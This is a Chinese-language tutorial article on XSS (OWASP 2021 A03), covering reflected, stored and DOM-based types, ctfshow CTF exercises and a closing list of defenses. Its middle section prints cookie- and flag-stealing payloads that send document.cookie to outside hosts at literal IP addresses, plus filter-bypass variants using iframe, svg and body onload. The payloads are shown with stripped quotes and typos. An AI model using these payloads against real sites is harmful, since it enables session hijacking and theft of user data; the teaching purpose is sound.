OWASP 2021 A03-2 XSS跨站脚本注入详解
发布时间:2026/8/28 6:46:09 作者:尧图编辑部 阅读量:1,286

一、A03-2 XSS跨站脚本注入OWASP2021 将 XSS 正式归类为 A03 注入漏洞前端JS解释器注入不再独立榜单。XSS属于客户端代码注入核心成因用户可控输入未过滤、未编码直接回显渲染到前端页面被浏览器当成JS代码执行。1.1 核心定义XSS跨站脚本漏洞是典型的客户端注入漏洞。Web应用信任用户可控输入数据未做HTML、JS编码转义直接将用户输入内容输出渲染到前端页面。浏览器无法区分正常页面代码与用户输入的恶意脚本会正常解析执行恶意JS语句最终实现窃取用户数据、劫持会话、篡改页面、钓鱼攻击等恶意操作。简单概括攻击者向网页注入恶意脚本其他用户访问页面即自动执行脚本被恶意操控账号与数据。1.2 漏洞成立三大核心前提1.参数完全可控用户可自定义输入内容包含输入框、URL参数、留言评论、个人资料、请求参数等各类可传参点位2.过滤机制失效/可绕过仅采用简单黑名单过滤标签、关键字无白名单校验、无输出编码各类变形Payload均可逃逸防护3.前端回显渲染执行输入内容可在页面回显且浏览器可解析HTML标签、JS事件不会纯文本原样展示。1.3 漏洞底层原理正常网页渲染逻辑中用户输入仅作为普通文本数据展示浏览器只会渲染文字内容不会解析执行其中的标签与脚本。若网站未对输出内容做编码转义用户输入的 script、onerror、onclick 等标签与事件代码会被浏览器识别为正规页面代码。浏览器按照HTML、JS解析规则执行恶意脚本打破页面原有展示逻辑实现代码注入执行。漏洞本质前端页面数据与代码未分离可控用户数据被浏览器解析为可执行脚本代码。二、漏洞详情如何判断是否可以用XSS漏洞:输入scriptalter();/script,看是否会弹出弹框confirm也是弹窗可能存在的地方有用户输入输出用户交互的地方都可能存在xss1.反射型xss攻击者将恶意脚本嵌入到请求中目标服务器将其反射到响应中。例如通过 URL 参数传入恶意代码目标页面在渲染时执行了该代码。又称非持久性xss具有一次性。攻击者通过邮件等形式将包含xss代码的连接发送给正常用户当用户点击时服务器接收该用户的请求并进行处理然后把带有xss代码发送给用户用户浏览器解析执行代码出发xss漏洞。?echo $_GET[uname]?或 scriptalter(document.cookie)/script利用反射xss盗取cookieurl?unamescriptwindow.location.hrefhttp://xxxx/web316.php?cookiedocument.cookie/scriptdocument.location 是控制页面 URL 和导航的核心 API将浏览器重定向到攻击者的服务器熟练掌握其用法能实现页面跳转URL 解析锚点控制刷新策略但在现代单页应用 (SPA) 中建议优先使用 history.pushState() 实现无刷新路由。2.存储型xss又称持久型xss其攻击脚本将被永久的存放在目标服务器的数据库或者文件中具有很高的隐蔽性。这种攻击多见于论坛、博客和留言板攻击者在发帖的过程中将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来恶意脚本也永远地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时恶意脚本会在他们的浏览器中得到执行。3.DOM型xss使用DOM语句动态访问和更新文档的内容、结构及样式。通过解析index.html把页面组织成一种dom文档关联起来方便后续加工DOM型漏洞其实是一种特殊的反射型XSS 漏洞它是基于DOM文档对象模型的一种漏洞。domxss 通过js代码操作dom文档对象模型时触发的漏洞一般不与数据库进行交互中低危攻击方式用户请求一个经过专门设计的URL它由攻击者提交而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本而是当用户的浏览器处理这个响应时DOM 就会处理XSS代码导致存在XSS漏洞通过HTML DOM树中的所有结点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改也可以创建或删除节点。可能触发DOMxss的js操作document.refererwindow.namelocation.href获取当前网址innerHTMLdocumen.writewindow.location.search获取当前网站的数据xxxxxx单引号闭合a标签script标签套在a标签里面无效利用οnclick‘alert”document 是浏览器中代表当前网页的 JavaScript 对象。它是 文档对象模型DOM 的入口通过它可以访问和操作页面中的所有内容在浏览器环境中document 是 window 对象的一个属性因此 window.document 和直接写 document 是等价的。简而言之它就是网页的“根”对象让你用 JavaScript 与页面交互。scriptwindow.open(http://120.46.41.173:9023/document.getElementsByClassName(layui-table-cell laytable-cell-1-0-1)[1].innerHTML)/script1、innerHTML:从对象的起始位置到终止位置的全部内容,不包括Html标签。innerText可替代innerHTML2、outerHTML:除了包含innerHTML的全部内容外, 还包含对象标签本身。script$(laytable-cell-1-0-1).each(function(index,value){if(value.innerText.indexOf(ctfshow{)-1){location.hrefhttp://116.62.188.166/Test/cookie.php?cookievalue.innerText}});/script使用 jQuery 选择器获取所有 class 包含 laytable-cell-1-0-1 的元素。这类类名常见于 LayUI 框架生成的表格通常表示表格中某一列的单元格容器。遍历匹配到的每个元素。value 是原生 DOM 元素对象。检查该元素的 可见文本内容 是否包含子串 ctfshow{如果条件成立立即将当前页面重定向跳转到拼接后的 URLhttp://116.62.188.166/Test/cookie.php?cookie 该元素的文本内容。关键词绕过以这种方式排查过滤试出他过滤了scriptimg空格。script绕过iframe标签在一个页面里嵌入另一个页面iframe οnlοadwindow.location.hrefhttp://47.89.157.219:80/web316.php?cookiedocument.cookiebody οnlοadwindow.location.hrefhttp://47.89.157.219:80/web316.php?cookiedocument.cookiesvg οnlοadwindow.location.hrefhttp://47.89.157.219:80/web316.php?cookiedocument.cookie空格过滤/**/ %09 %0A %0C %0D %20都可以试一试iframe/οnlοadwindow.location.hrefhttp://ip/cookie.php?cookiedocument.cookie/iframeiframe/**/οnlοadwindow.location.hrefhttp://47.89.157.219:80/web316.php?cookiedocument.cookiesvg/**/οnlοadwindow.location.hrefhttp://47.89.157.219:80/web316.php?cookiedocument.cookie三、防御1. 核心根治前端输出HTML编码、JS编码彻底隔离数据与代码2. 后端严格校验采用白名单机制禁止高危标签与事件关键字3. Cookie安全加固配置HttpOnly属性禁止脚本读取Cookie4. 部署CSP安全策略限制脚本加载与执行源拦截恶意脚本运行5. 过滤黑名单兜底多层过滤高危标签、事件、伪协议辅助防护6. 前端渲染规范禁止innerHTML、eval等危险渲染与执行方法。